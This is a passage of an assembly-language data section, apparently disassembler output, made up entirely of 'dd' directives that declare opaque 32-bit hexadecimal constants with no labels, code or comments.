		dd 0D939B4FAh, 6CCBA75Bh, 45E9108Ch, 0DDBD003Ch, 812A7F48h
		dd 0DD963F5h, 5D8AE901h, 801EEA50h, 364B35F6h, 0F1E0A91Eh
		dd 0E8830BFDh, 0F84DA8E4h, 49725B48h, 53F9D45Ch, 0E83CABF4h
		dd 71E22768h, 873211E6h, 0E9DE115Bh, 6F3056CAh,	0AF1D4C8Fh
		dd 0BBCB4C7h, 0C10BB00Eh, 48203989h, 8B1F281h, 7013662Ch
		dd 2F256E88h, 68A2802Fh, 0CBD21244h, 0D86EB52Ch, 55A8E812h
		dd 8F8A144Ah, 97605FCBh, 4D0AFCBDh, 992131E6h, 4613F10Bh
		dd 2377343Ch, 74EFA269h, 0B1347044h, 9D454B64h,	56045E13h
		dd 6802C005h, 28681B88h, 0D2BE5B75h, 8C1125C2h,	4EFC136Bh
		dd 0E49F8D72h, 4BC4B598h, 87497B25h, 0C834B262h, 5649CAB6h
		dd 0A3E90666h, 78323D41h, 892050B1h, 0ACFD07BCh, 4F917B2h
		dd 8571C7ADh, 1FC8BC82h, 0A2E5535Ah, 0C1872DAEh, 9E7051FAh
		dd 9DD75B71h, 0D6584C0Eh, 0C453B76Eh, 3AA85A1Ch, 30532AD9h
		dd 24A9D28h, 48E72038h,	0BD3AEB1h, 0E858CB77h, 0A8F2534Bh
		dd 344527B5h, 27CB1008h, 0C0D76A02h, 8242A162h,	0ECA5DDF1h
		dd 0CDA12D12h, 82908C4Eh, 13DCDA5Bh, 88DEBE30h,	0BA00B0C8h
		dd 6DE23F95h, 42BE5A56h, 68EDE9D1h, 4BA61CC7h, 88690211h
		dd 0C4E3BCBh, 0A6C04727h, 3F30F84Fh, 0EE28FE01h, 0A0E92508h
		dd 8B418862h, 31F95261h, 3CD40040h, 5F5E77D2h, 36820752h
		dd 0FA35EE58h, 3E4C96E0h, 10E54DF6h, 0D99B04Bh,	612F7218h
		dd 72521986h, 0EE010539h, 0B713EBE9h, 542F7E14h, 99D2C55Ah
		dd 0E0C07D9Dh, 0DA4CF602h, 146533BCh, 5451B255h, 34B60003h
		dd 0FEB8CE80h, 206B30E7h, 33C006D9h, 99369525h,	897E9250h
		dd 0D77565B7h, 0A148AF9Ah, 0C6972837h, 78A95D28h, 346ED74Bh
		dd 0F5F22502h, 1EC51110h, 10ED952Ch, 0BDEAD057h, 6AEA0892h
		dd 44A2B5Dh, 0D104DDAFh, 0EAA381EFh, 120F6233h,	0ACE85102h
		dd 0C4A68A0h, 82654794h, 13101FE9h, 0BB53014Ch,	1A875895h
		dd 96C2EC20h, 362262B3h, 3E8CFCDCh, 165B1AE5h, 0E112E8C1h
		dd 0C5A3D799h, 0D5870805h, 8F53C4E9h, 5213D201h, 0D3C9EA88h
		dd 22E34F5h, 1C5F0940h,	2E598741h, 626F76D9h, 8B82E9FDh
		dd 67440974h, 0E00E330Bh, 2CE4E032h, 873A4861h,	243DFB03h
		dd 0CE004643h, 5F35DCFh, 735BDE31h, 0E26B90F7h,	924C2F56h
		dd 0FE218A00h, 0A0BD4E5Fh, 0F681079Dh, 0D8B617EDh, 8371A00Bh
		dd 6801C005h, 0AA34665Bh, 81303BE1h, 0EFDF0465h, 8BC12939h
		dd 0E11776BFh, 0A4026879h, 5966D8E9h, 999FA0C5h, 45E0A4EDh
		dd 584AA059h, 4B01D6CDh, 407ED1F1h, 20CFEB7Fh, 0BFFFF44Ah
		dd 40E42DDEh, 0BB6BFB0h, 9158E11h, 48F26CE0h, 9D406624h
		dd 0E95A5801h, 4037BD8Bh, 0F1E37755h, 382D27E2h, 9DCBDC12h
		dd 690F216Ch, 0DC858958h, 0AE770BE2h, 21B5EFB0h, 4DF19550h
		dd 38259BB6h, 2612E6B8h, 0BFB770Bh, 9B64FE54h, 9024ED80h
		dd 72C6A631h, 0B3682BE9h, 16AA8A4Eh, 552905D5h,	24798C41h
		dd 84BBB00h, 0F2559D2Eh, 0F3E3C10Ah, 74DECB01h,	0BAAC26DFh
		dd 15993D5h, 3D43D5FFh,	4B2A0069h, 18366009h, 42A87C05h
		dd 42F0A0A2h, 51C18812h, 26F7F808h, 0C01A1327h,	68C33082h
		dd 0F82CFB29h, 5093889Eh, 0E16D790Eh, 95B85B5Dh, 95E00BA5h
		dd 0BE806315h, 90BFEA2h, 46D6F772h, 133A4B00h, 4E4C3FDFh
		dd 38E5256Bh, 0BA545127h
		dd 7115B54Fh, 0DF21E904h, 3993F2F8h, 6112DA7Eh,	0BF22174Eh
		dd 0F6503704h, 8140C062h, 40003FC7h, 0BA524CB8h, 13481B60h
		dd 9D70107h, 0A6944555h, 0CF875D17h, 51A29D11h,	680B7ABDh
		dd 0E3A3110Ah, 126F57DDh, 0A0E3A85Fh, 9611F868h, 8B544555h
		dd 30AF6035h, 7A2858E7h, 6C492FFCh, 73468120h, 7B769F6h
		dd 568E9676h, 54F91004h, 91785B09h, 91B66FB8h, 5EE90DECh
		dd 0D957130Bh, 5AB1979Fh, 694799B4h, 8BDE7937h,	503F74C9h
		dd 0FE800D94h, 0B8072CFh, 2E7C038h, 0E0464B04h,	0EB24C179h
		dd 0C5206408h, 7C358702h, 548EE964h, 783310B7h,	309F197Bh
		dd 0F8F20107h, 10D9CB4h, 0A906E3BBh, 226BE91Eh,	0E0B062DCh
		dd 111C5D54h, 0A88F6631h, 30A7AC83h, 0E5072A50h, 7147521Bh
		dd 3576F560h, 0C12AE5EAh, 2BF02128h, 0E0510034h, 0B01E927Dh
		dd 35C267F4h, 6D450B1Eh, 56371925h, 24E96D51h, 0C65B903Ah
		dd 29505F58h, 0D5B85E3Ch, 0CBB2664Ch, 5645E148h, 60131230h
		dd 4C2DCCCFh, 4775F517h, 9466D509h, 0F6C92254h,	0B867A28h
		dd 2EBE685Fh, 209CBDBh,	0A6E2D1EDh, 0B5B342E4h,	0B2B45000h
		dd 27E47AD0h, 297149DAh, 0BBC796BCh, 66A1A759h,	96793560h
		dd 143EB141h, 9CE9F8FEh, 8ACBDB59h, 589282CCh, 0E5107AB9h
		dd 244B4855h, 889D93E0h, 0C84F973Eh, 5EA55744h,	11D432E8h
		dd 0B609F8CBh, 67BBB4A0h, 462C8D44h, 533A3D43h,	685509CBh
		dd 0F64AC2B5h, 0E502C966h, 7909DED6h, 0DDC800h,	79821B0Eh
		dd 0F698E6C1h, 18BBCE1Dh, 6D083A2Ch, 24024CAh, 0BDC7745h
		dd 69D6C562h, 0E906299Fh, 427E88Ah, 80A6DC5h, 930AFA73h
		dd 312708EDh, 0C0235552h, 0C467C469h, 48716884h, 76D0CCB6h
		dd 6F103153h, 70B87301h, 0FFB91D2Eh, 7692D69Fh,	12B07B1h
		dd 5D685C6Fh, 4B78735Ah, 2495F4A2h, 9AE987D8h, 95A6094Eh
		dd 4515D13h, 0D6C74D5Bh, 50242AE5h, 0B534A354h,	0C7D031FAh
		dd 893E6058h, 41746609h, 0E9E10245h, 7A0D4AC0h,	0CF4C21AFh
		dd 0ECFF40A5h, 6E102D19h, 0D5BA8165h, 40AC0BF8h, 87AA4EE8h
		dd 0B040A1F1h, 3E830CDh, 6842B159h, 5317750Eh, 4CC9F819h
		dd 0E91A6C2Eh, 5826BD26h, 5BAA30E9h, 0F55821Dh,	68DFA165h
		dd 9F30725Eh, 0B4561669h, 2562403Ah, 0D7F759DEh, 5FEE74FDh
		dd 5EFC102h, 0FC0AFAE9h, 8A2BD235h, 0E94134D9h,	0A072C3F5h
		dd 84FBD39Eh, 728F87E2h, 3E7E661Fh, 0E1895160h,	9541FC68h
		dd 2B267E18h, 8E0CEE5h,	326B48E9h, 0AFA610D9h, 6FA5846h
		dd 0BA848D48h, 0E976F1B5h, 5451747Fh, 84A4E1A5h, 1C075A09h
		dd 27577EE7h, 9012AE4Ah, 5B316F44h, 0A97BD121h,	0C5D2E804h
		dd 28E259CDh, 5B1E0510h, 642988Ah, 0D180D54Fh, 635B9183h
		dd 2A6B7840h, 5C65D8C5h, 0F9342209h, 2841FA7Bh,	2D59C829h
		dd 782E07C4h, 2DD05F24h, 0BB5B3011h, 0CBE94F3Fh, 83BA541Dh
		dd 0C4FAF9F7h, 0F1A2E279h, 74654F47h, 8364E80Dh, 0D9AB79B7h
		dd 1B6D354Bh, 382DA410h, 17023068h, 0B51C4F09h,	495E1522h
		dd 63198F0Ah, 37645F7Fh, 5C35CACCh, 0B81060FCh,	0EE4AD147h
		dd 9B22EEF1h, 2812B873h, 0C1A30397h, 0E9FF6A36h, 0CF127F8Dh
		dd 7A206B62h, 0D0B92024h, 19F30126h, 8CC35449h,	0D61DC1F5h
		dd 0ED389495h, 0C173C972h, 0DCAE2E0Ch, 0AFD530B2h, 41DF1E1Ah
		dd 0D74256h, 0B7685E08h, 0D29FA822h, 8D3ED7A8h,	4027EC3Bh
		dd 973AF5D8h, 674A0941h, 5781C301h, 60163E91h, 7DB8EDDBh
		dd 105BDD4Dh, 0C758B23Fh, 0F7D07A89h, 0C3127993h, 718442E6h
		dd 7038B2EFh, 0F8B055B9h, 0B5161768h, 8318B54Dh, 96FEE90Ch
		dd 0E3C109A5h, 2B681583h, 0DF27D2Ch, 0E1DD7E1Bh, 0FB320281h
		dd 0DA850AD4h, 0ACB08D67h, 44638994h, 1E451212h, 0DE74A246h
		dd 0E909B72Eh, 5FB42518h, 0A6313785h, 61896E68h, 61102EE9h
		dd 37FCBAC3h, 0CB016614h, 590840BEh, 1301F3FEh,	0E9C0F71Ah
		dd 302A4B14h, 5BAA6811h, 134F51C4h, 66107EF3h, 696426D4h
		dd 0D0C20216h, 0DB856AC3h, 99581600h, 0A4163F54h, 56675E0Eh
		dd 589D4230h, 12619111h, 9614A623h, 307F85A1h, 0B30F66D8h
		dd 0A7251EA0h, 4815A80h, 826838F2h, 0CF01AF62h,	52B50D7Bh
		dd 1EE5163Bh, 0A14BCC2Dh, 2996428Ch, 0D0045917h, 52201A9Ch
		dd 0E927DBB2h, 0ACB9E109h, 0B2F36D9h, 0A5675D70h, 6792E985h
		dd 8F5AC9B3h, 33680AEEh, 1C6FFB49h, 71D4AD5h, 0AA615BBAh
		dd 0F412E923h, 3EC4E6F4h, 0E5D0C15Ah, 965C1336h, 6807F00Ch
		dd 874C4731h, 8B00324Ah, 5A7E5808h, 1D19D831h, 0D2BEAA0Ah
		dd 0FE525233h, 896B99A0h, 300ADA48h, 39C7D755h,	0F3053D3Bh
		dd 0FEFBC7F5h, 270B72C6h, 0F9F51377h, 43684302h, 5C7190C9h
		dd 423AE98Bh, 0CD62C965h, 0BA037A2Ch, 709B0C2Bh, 0CB4A97D2h
		dd 0FB2700D3h, 2CE98BBBh, 0C180D920h, 0CC4930C9h, 14512DB5h
		dd 0A80CD330h, 0E608F0D9h, 9DF49058h, 0BA522220h, 0E8093822h
		dd 96D001F3h, 40E97094h, 0D57701F6h, 7CA0E259h,	0AA5E630h
		dd 94CA6BEh, 0F329495Fh, 3B8C9282h, 77BC1522h, 0B2C12213h
		dd 648F631Fh, 1D1D01DAh, 281683A5h, 2FA704D0h, 3F83E19h
		dd 724B081h, 0EF019DF5h, 78917526h, 0C9982EBBh,	7A0B50A4h
		dd 0A31614CCh, 81A95B4Eh, 0CCF0CD9Fh, 0E5EC8FF5h, 0C527F379h
		dd 9722D090h, 0F6046FCAh, 0DCB0E45Bh, 5F60EE6h,	60BDA702h
		dd 82C3890Dh, 59BE8CA4h, 0D87AE90Eh, 24AD9030h,	9B4D7B68h
		dd 74A00378h, 0A0DC366Ah, 0E20A04F4h, 9AE7E93Eh, 0D6895A9Dh
		dd 4224511Eh, 0B9185309h, 606AF0DBh, 6FD2AE25h,	404A426Ch
		dd 80D87EE4h, 4D138205h, 1269C8h, 8913CCADh, 0A7510BE2h
		dd 0F581485Eh, 68B753A0h, 0BE64ECEDh, 0BC829501h, 0CFEC6C81h
		dd 0DEE95F09h, 70622B2Ah, 5E080AF2h, 40186C29h,	93E70ECh
		dd 0A02008B3h, 6A17A75Ah, 0DE38E2B1h, 4C86BADh,	2D7DBE29h
		dd 92BF9FE5h, 1AA6021Ah, 3C2DE610h, 18F1A75Dh, 641368E1h
		dd 0E0C93929h, 8CCB317Fh, 0D93C2833h, 215E484Bh, 925B9CE8h
		dd 252569Dh, 6D0E75C0h,	2B4B9CC1h, 365DDBCAh, 9509B42Fh
		dd 801CAE56h, 88537AC3h, 69C394EBh, 6CF1B259h, 20D390A1h
		dd 16C133AAh, 22E92FB2h, 0B91F34h, 78024D13h, 6841BE56h
		dd 0AFB80D77h, 0DD736EC4h, 51AB2D03h, 7F6057D2h, 0CE0B0F40h
		dd 8BD82932h, 0D37DD065h, 0E152AC74h, 986C53B7h, 19742D97h
		dd 580D9599h, 0D825CBCAh, 2D109FC6h, 0A5252BFEh, 2DDBC042h
		dd 0CD54268Dh, 0EF821597h, 0F11E9C4Fh, 0B3CEF85Fh, 9EE1D11Ch
		dd 27C197E9h, 30F5FECh,	44BC920h, 1EC106A8h, 66A1EBD8h
		dd 4E7CCBF9h, 50F7BA03h, 65D12BB9h, 511582D4h, 0C00B034Fh
		dd 95A79AEh, 0D6890FB1h, 0F420CC02h, 5C3D6C66h,	1DB54BF6h
		dd 5868C5FDh, 38DABD00h, 0D53152B0h, 0A03B2E99h, 0E581055Eh
		dd 0BA32570Bh, 0BDF93501h, 8752BEDFh, 673AC001h, 0E784A8B7h
		dd 0B82609FCh, 17FC4770h, 3A3FD908h, 26A3219Ah,	7D6A81DEh
		dd 68E0614Eh, 933C3E39h, 5238BE90h, 8B57B69Dh, 0B84293E9h
		dd 2EC49EC2h, 0B3E5F120h, 7613BE6Bh, 0A199FCB6h, 456E5DEAh
		dd 0B7F8D079h, 0CF257BE7h, 5ED524A2h, 0D71A27FEh, 1AC61963h
		dd 0C55D3C95h, 4186E9DFh, 5BD801F2h, 67273E55h,	0E39044E4h
		dd 64E3C143h, 12FAE204h, 40075909h, 76B1BEDCh, 97F2C0Ch
		dd 42CB09F7h, 0A890924Ch, 0DB05EC12h, 0BE1D58E0h, 0DDBE0170h
		dd 7C263A1Fh, 0C6CE03C4h
		dd 0B7432A7Fh, 47148850h, 4104985Bh, 2FC9D02Ch,	860816BBh
		dd 0C102691Bh, 0B2D55955h, 0E85680BAh, 2C19995Bh, 207DD901h
		dd 0D4CCA208h, 50B47B66h, 17083592h, 0CA522F83h, 3614589Bh
		dd 8BCF287h, 3AEA811Fh,	0E9889342h, 90F17818h, 92A3EE14h
		dd 0C7802E65h, 56151259h, 927EE215h, 56735BA1h,	5FA8E450h
		dd 0CB979858h, 5A2CA140h, 508BC0A0h, 0DDFB1CB0h, 952CA715h
		dd 4097206Eh, 0D261F763h, 0E76D43C0h, 19E2A420h, 52B74522h
		dd 4D092EB2h, 0F47E9205h, 0FD7608B8h, 801C5A17h, 0D194502h
		dd 0CF21E142h, 0CD9EA522h, 2FF7C15Ah, 0A524F48Bh, 36F690BFh
		dd 90E5CA9Ch, 0DC025040h, 0C3441FB3h, 27268911h, 0BD41E86Ah
		dd 0E24D9314h, 70F5DF01h, 0CE42598Bh, 0FA27414Eh, 4AE91389h
		dd 876859C0h, 10756949h, 0B100FBBFh, 8077B30Eh,	282432C3h
		dd 5012B9CBh, 0AC782420h, 0D1095F9Bh, 6510402Ah, 0FFDB48DBh
		dd 176AA041h, 2C989813h, 0C84B2568h, 724D7F01h,	25715D34h
		dd 0CB6F7535h, 0DA503B04h, 0C03E9639h, 0E7BF5776h, 238A0F17h
		dd 81015BB1h, 3EC97DAEh, 0B8CAB20h, 464AEA09h, 0CE5C672Fh
		dd 7C9E7D9h, 0DAF74AC0h, 37E95613h, 0C6B74D85h,	1A2CE821h
		dd 3BB90608h, 89956812h, 0B18C68D7h, 0CB6CA0E9h, 0C97CF04Fh
		dd 8B58C112h, 0D25651B0h, 8AE2A9D6h, 249725Eh, 7CD1E971h
		dd 585D0A05h, 0A84242B5h, 0DF890Bh, 455DCD5Dh, 0F5810566h
		dd 3F2340h, 4B71C580h, 0F7056188h, 38F268D5h, 25ADDB9h
		dd 0F3815B52h, 5A9366F4h, 2C999407h, 90C79F6h, 137F40F0h
		dd 46C389C1h, 14820C08h, 0D25BCDEh, 2C3EC9A1h, 544A5612h
		dd 0A93E3B2h, 0A893191Eh, 4BA79559h, 1B3FA7DDh,	1C5FDD62h
		dd 9AF2A653h, 17C25B03h, 436A41DCh, 0E27C4133h,	0BA0982D0h
		dd 96323F6h, 9BFF969Ch,	0EB84E91Ah, 2408A52Bh, 720BB9B9h
		dd 683F712Dh, 9214F3Ah,	4C293DB5h, 0C815F46h, 0FB78AD59h
		dd 0C15CE4EEh, 7D1A739Ch, 0E0B0255Dh, 0E688A0h,	0FED6F658h
		dd 5EEC0C6h, 97B2CEFEh,	445251BEh, 0E66D3776h, 58E30222h
		dd 1C334ADEh, 9F24F187h, 2EE8300h, 25AB5652h, 5D82B05Eh
		dd 696082E5h, 6A3D9AB1h, 0C960921Bh, 99A84F57h,	7FA0E34Eh
		dd 132CFDh, 9E25D1BDh, 0B8EB216Eh, 6C6A9D7Eh, 7F662BA0h
		dd 2C981451h, 7DD6D926h, 0E2FD72A7h, 770507DEh,	535EF729h
		dd 16E32844h, 1F42F8C2h, 0BA0166F4h, 5B2D5F9Ah,	10E9903Fh
		dd 4D09986Ch, 6E4CE4E9h, 2D587C82h, 7A12BD96h, 113DB761h
		dd 91408D0h, 0B6525482h, 0B4051C95h, 54536268h,	77E2FEF6h
		dd 0DFE6913Ah, 0C316152Ch, 0B45D07ACh, 0D40FB53Eh, 25F6A846h
		dd 5A566DFh, 7F21BCBAh,	5EAF017Eh, 612574F6h, 5EFC1461h
		dd 0E5AF15E8h, 0E1FA8912h, 9C26031h, 98D1EFD2h,	4C062B20h
		dd 0A055190Ah, 9920DE22h, 3F540883h, 0DA2FE953h, 3EBA5331h
		dd 1A59E62Dh, 886558A8h, 5A835D8Fh, 5062607h, 173902D1h
		dd 78403626h, 9F013D99h, 0E9EFD11Fh, 5D27BEFCh,	60CE6813h
		dd 504BBBABh, 647F9525h, 878BBFF5h, 0BD24950Fh,	1088BCAAh
		dd 79580E5Bh, 50780630h, 144A5A37h, 0E50555C0h,	45D90E58h
		dd 0C0B6C521h, 0FFEB44BAh, 2D9CE8F2h, 1EFDC96Bh, 71219835h
		dd 0FB0443EDh, 0D1BCE234h, 105AA6E4h, 0C15ED4B9h, 119D6DD6h
		dd 0E63806E5h, 0FE6A4B9Fh, 59CE1CA0h, 794C8E68h, 9504D376h
		dd 8D92E2DFh, 0F50AE0EDh, 9D631DA1h, 0B8CD8135h, 2E65110Fh
		dd 2DE953C1h, 8009B33Ch, 4CE22EEBh, 518F3855h, 769670B1h
		dd 0FD5958CBh, 0FE28921Ch, 0E9CFB505h, 5466D2E1h, 210C9050h
		dd 706C2632h, 12593BE6h, 3FD6E98Ch, 0C09DEAABh,	0B40C92B2h
		dd 56336574h, 0C70DF088h, 27631309h, 67E0490Ch,	0F3D6EC2Ch
		dd 0C168098Fh, 69CF596Eh, 569FBA10h, 0BA67E527h, 5F0C0431h
		dd 5CB96BCh, 0F0709AD4h, 59ADB85Eh, 424CD8B3h, 9FA7C407h
		dd 1DECC208h, 612DBB00h, 7D204CB6h, 72A2072Fh, 61C99C82h
		dd 4991F4D6h, 0DB469B5h, 0B303803Ch, 78F38062h,	2E5A0BD1h
		dd 3E81C025h, 0D5932133h, 5DF8E4EEh, 4CEB0EC1h,	0A9202203h
		dd 6A729631h, 2674AAC3h, 128F4E7Bh, 0D349F8DFh,	0C210D6A9h
		dd 0A7B95C17h, 5626A6E2h, 0BA52E0F9h, 7D0634F2h, 1FA7E90Eh
		dd 0FEC5059Dh, 4F0DBFD1h, 0CAEE50F5h, 0DE214A70h, 9907C68Bh
		dd 667183FCh, 23B7C73h,	54352A4h, 0D275E9B5h, 0CC9ABD6Bh
		dd 30A484DDh, 0FAA5C7B1h, 5C505A3Eh, 471779EDh,	0D8BC774Bh
		dd 51EE5210h, 5A912F62h, 5C9DE829h, 115127E5h, 8224EFC4h
		dd 93D4AD65h, 79259868h, 9B7D6360h, 0CA7E287Eh,	0FE2C0102h
		dd 6166C288h, 9076D0E9h, 0F0BAE912h, 6CBF5EA6h,	5AC2491Dh
		dd 0F6898493h, 58436528h, 2C7AE0B1h, 56418588h,	1D9AF420h
		dd 8F1A2C73h, 0CEA0F4F2h, 5AD10157h, 5ED9F726h,	1E554903h
		dd 8BE1B177h, 806EA4D9h, 2013FD49h, 0CA014812h,	0BBCA95B2h
		dd 5BDA8A5Bh, 11E94156h, 6D8E6F25h, 9239854Ch, 1B9758C0h
		dd 4050EA19h, 5EE9A109h, 5A030A7Ah, 99E83Eh, 3A37056h
		dd 49FC101h, 4BB19BE5h,	0A17C27Bh, 709DBAAh, 50FC7FCBh
		dd 0BC4BC681h, 29D9D317h, 8F2D8BF2h, 0EF813760h, 3D44DD02h
		dd 43F78746h, 550805EAh, 0E3203568h, 0A7A10D0h,	4FDDA6Bh
		dd 5BA2524h, 0C2D5F72Bh, 0DC5CB980h, 6CF7F64Bh,	0D761F70Dh
		dd 0E4BEE90Bh, 0D3235D3Bh, 0E781D05Eh, 0B5583DDEh, 82222F1Fh
		dd 87EE8027h, 0F003EAE9h, 665AA004h, 2AA62D68h,	8DB6F123h
		dd 223A0EEBh, 4D215E2Ch, 0DC6E4DACh, 0CDF8372h,	0D1F29389h
		dd 685802A9h, 85E67436h, 62D2389Dh, 5451803Dh, 0BEDFB9A0h
		dd 0F7F8C381h, 580CC099h, 0FE04EEC0h, 0A9BAC667h, 3A1F3E3h
		dd 4C49C3E1h, 18DA0BCEh, 664F3250h, 257FDC8Ah, 9FD2D325h
		dd 17C3D420h, 0F05BDD88h, 59801462h, 9DCC7330h,	0E6ED23C8h
		dd 0EDD0AB80h, 1C7C0A91h, 0EE018DF5h, 28E42C59h, 0E942A547h
		dd 56E76A4Eh, 0FA6FBB3Ah, 19F91986h, 8B6F92BCh,	3B60D82Bh
		dd 4394CDFEh, 0B2A7AF4Fh, 70E83712h, 0D6272213h, 1404C645h
		dd 3AA150E9h, 0E9AB6F64h, 5AD512A2h, 0A9281EF2h, 9947252Ah
		dd 19527898h, 81395A01h, 16039BC9h, 110D7FE6h, 33994107h
		dd 29369280h, 0C8899905h, 0A366FA1Dh, 0B10CBE4Fh, 0B5C61157h
		dd 0A4F2C088h, 0D1AC0DF8h, 7D0C8874h, 35B913C4h, 0A35E84D8h
		dd 0C7E90C22h, 58B5B117h, 878093CDh, 7A7168F2h,	5CB01DC4h
		dd 70646D97h, 28FA1380h, 0EBC6F0CEh, 5E701036h,	976D37F5h
		dd 0E9E801A0h, 33152AF4h, 0CEF8D26Ch, 30CBEACDh, 351ED59Bh
		dd 95D74A4Eh, 9ED4AFB1h, 0B21AC98h, 64416853h, 5E7242B0h
		dd 76EBEFF3h, 10F60B4Ch, 0D02D4D7h, 6BE154DEh, 0BFF06AC2h
		dd 289D8AB8h, 0C502F121h, 74633C54h, 0DAE96273h, 5A124054h
		dd 0EAB20EECh, 25032014h, 5944055Eh, 0AFC1E8D1h, 0BA030C88h
		dd 78CB2988h, 2970ECC9h, 1C66FC4Fh, 0D3C8F7Bh, 5D60728Bh
		dd 8073DEF6h, 8853260Eh, 5BFC44F7h, 0D476ADC3h,	2790B313h
		dd 4957F9FBh, 0D029406h, 0EB015D1Ch, 2613D9E4h,	2C6939A9h
		dd 0BE1711C7h, 0D5305CF5h, 0E445036Ah, 3DED8151h, 0D9301EE1h
		dd 0D027C0E5h, 0E9B04D4Eh, 2FE82E2Ch, 5307005Ah, 0D5310B6Eh
		dd 374006B2h, 0F44B521h, 0CE26D827h, 0A4C55804h, 4E03A25Bh
		dd 8CEC2C64h, 0DC21EEF4h, 357C9783h, 7F6BE083h,	0E7A2993h
		dd 580A2C54h, 200CE917h
		dd 985018A4h, 326C315Dh, 0F15EF313h, 1C2720D9h,	0A726C5B7h
		dd 0FE203851h, 876FE258h, 174011E7h, 0BFBCE81h,	467C6231h
		dd 0DF47600h, 212494FFh, 7F09C8F5h, 89D179C4h, 0DBD93497h
		dd 769F6809h, 546D6CE9h, 30D3FBDFh, 9DFD4AE4h, 895FF201h
		dd 0ED9F42DFh, 23904766h, 0BF10A660h, 0BF7A013h, 5FFD29E7h
		dd 20928EDEh, 0CB6AA7A1h, 5E7259DBh, 0ABB6398h,	2AC4213Eh
		dd 184808D6h, 6106B800h, 257897h, 2C6E07E5h, 0FC72A735h
		dd 0D0F71E12h, 352BC16h, 0CAD37EF3h, 7854252Dh,	2236B39Fh
		dd 17E5F817h, 0C24CB90Dh, 5C50CCB1h, 90EA6797h,	0E96B4083h
		dd 0E7031529h, 550E688Eh, 5B94C3Eh, 5E74AB3Eh, 0EFB02CEBh
		dd 2C77CEB5h, 8B9BFCA8h, 482F1F7h, 0DD1378E4h, 3010A2FCh
		dd 0C55C2596h, 2F0621FAh, 0C32C1DF1h, 0C3801B03h, 0ABCB83CDh
		dd 59C0AFEBh, 0BC234668h, 95B14161h, 0FE3260C0h, 14F7C148h
		dd 52D0E56h, 36F40520h,	0D5879B85h, 6FCE08F7h, 8730857Ch
		dd 676703BAh, 55F10E4Dh, 0D68D6EA5h, 0A9398A20h, 79E45636h
		dd 74A09710h, 5B357E47h, 6B09DA98h, 74C71BA7h, 0F33C13h
		dd 629B4918h, 515232FFh, 69656804h, 3EC06C25h, 3B7295E1h
		dd 0F100134Dh, 3A61053h, 449DCA89h, 82BB04C5h, 0F00FC95Bh
		dd 51165039h, 9C09403Eh, 0A0E2D198h, 6E8A258Ch,	0AC80C318h
		dd 0B353CEA8h, 0D8286919h, 16A5955Ch, 0C8B7BCCEh, 9DEDE911h
		dd 0C25E2704h, 24506B1Ah, 3E2F6813h, 1B1ADACh, 49612EF5h
		dd 0C111404Ah, 0D7010199h, 168FABA4h, 2FC7B125h, 0D212821Eh
		dd 0BEB99340h, 25438E02h, 8068D9F7h, 281419F1h,	4E9B642Ah
		dd 0B87542F0h, 902D4BE4h, 321C09B1h, 73484A4Ch,	0E767F09h
		dd 26CD804Eh, 9D57EE24h, 70D29261h, 11BF502Ah, 0AF568CFh
		dd 470DAF97h, 72DA29A7h, 0D79B849h, 7425073Bh, 0AAD208A3h
		dd 0A022D941h, 36422D9Fh, 808BC945h, 66A95E14h,	5E5AFD10h
		dd 0CA9F42A2h, 0A4DAD5C0h, 69631ACFh, 50F8285Ch, 7B9C3168h
		dd 6946A173h, 3A8C168Dh, 4BEF7D34h, 0CA616E82h,	0F0E35856h
		dd 41A65E5Fh, 55093642h, 0E85853E9h, 0E8908DB0h, 2F41882Ah
		dd 6A057AA0h, 148FE02h,	64D3E9FAh, 7DF37737h, 9ED399D4h
		dd 0D37A5754h, 2DB9CDDBh, 0CA8B8F18h, 7405EB59h, 5457809Ah
		dd 6353685Fh, 481E4193h, 0AB77A87Eh, 0E17CFAA4h, 17051D24h
		dd 0EF31F10Fh, 0CE290020h, 929EBAE9h, 53672766h, 0C327E466h
		dd 0A45F5151h, 4FCF00BBh, 0AD2D2C1Eh, 1A98C9FEh, 0AB01E21Fh
		dd 0FF0120EDh, 0F766100Bh, 0C0132E2h, 64E33EE9h, 1212F846h
		dd 52A002AFh, 975BF268h, 602411E6h, 858383C5h, 0D2264509h
		dd 421F4AF7h, 4817F7F7h, 0F890721h, 208A72A3h, 8C80936Dh
		dd 8C240AF6h, 0D208123Dh, 8F336651h, 4C42CE27h,	0C608205Ah
		dd 3456681Ch, 0E6063892h, 4CC7097Bh, 70572E2h, 93C500Fh
		dd 369053E1h, 6F12B6C2h, 13013229h, 31A25ED7h, 0DC48452Fh
		dd 1335FA2Ch, 0E9316CBBh, 826C514Ch, 40C8BE0Fh,	9DF1134Dh
		dd 0E982669Eh, 408132DFh, 0F3ABB0Ch, 54016545h,	5B5A08E7h
		dd 11829DECh, 0DCCBEB96h, 809C406Bh, 0C0F20EECh, 0CCC603E4h
		dd 3C5C122Fh, 0C4E52FCEh, 995048C2h, 903DAA17h,	2B050215h
		dd 0CB044607h, 33F5C201h, 0A32BB4A1h, 0E6F5D213h, 494FDC40h
		dd 0C14E07C0h, 308106E6h, 373C7DE4h, 0F0DEF72Dh, 52630B59h
		dd 0FD89AD2Fh, 51F218ABh, 3FBED17Bh, 830D8949h,	0BAC8B5BAh
		dd 8364E323h, 0DE4EEFE8h, 83224B3Fh, 0E91AF602h, 65EAE85Eh
		dd 41221E13h, 9CEE9CFh,	0D18C046Ah, 0E7239192h,	14A3A14h
		dd 309647E5h, 515000B6h, 0CA12830Ah, 49D035D8h,	76155F3Ch
		dd 0ADF25068h, 601F582Dh, 0DBF1EF27h, 0DE8A5E96h, 0F8B5E9C4h
		dd 0FA9D5B06h, 0C7688484h, 56EBB373h, 87A69734h, 1C8BDF27h
		dd 0BD028842h, 8ED69DA1h, 0B581C7E5h, 2238DD46h, 65BD0CA6h
		dd 4BC828F0h, 0E81A1353h, 0CCE1B53Fh, 4B05C860h, 6B60C836h
		dd 70D9140h, 74284A31h,	374D1235h, 0C9824740h, 95B296B8h
		dd 25479149h, 9B15C5Dh,	298B7390h, 95B31D00h, 0C0BDF0D7h
		dd 5EE821ABh, 0E9E6C15Dh, 0EC076A66h, 0FE1310BBh, 2EBE835h
		dd 82CB0581h, 96BDB0Fh,	0B8E6FCFAh, 81307898h, 805915E4h
		dd 787BEDh, 0B05007B6h,	0E9C0FEC8h, 0B1F73863h,	6102E0Ch
		dd 52071FFFh, 682FA01Bh, 186C5E27h, 2737B19Ah, 3258337Bh
		dd 0C8134BE6h, 0F30ECC84h, 67200693h, 135873F4h, 4122E9F9h
		dd 6B60BA6Ah, 75FA6002h, 6CD2ED4Fh, 2DD0A0A0h, 5A5450C0h
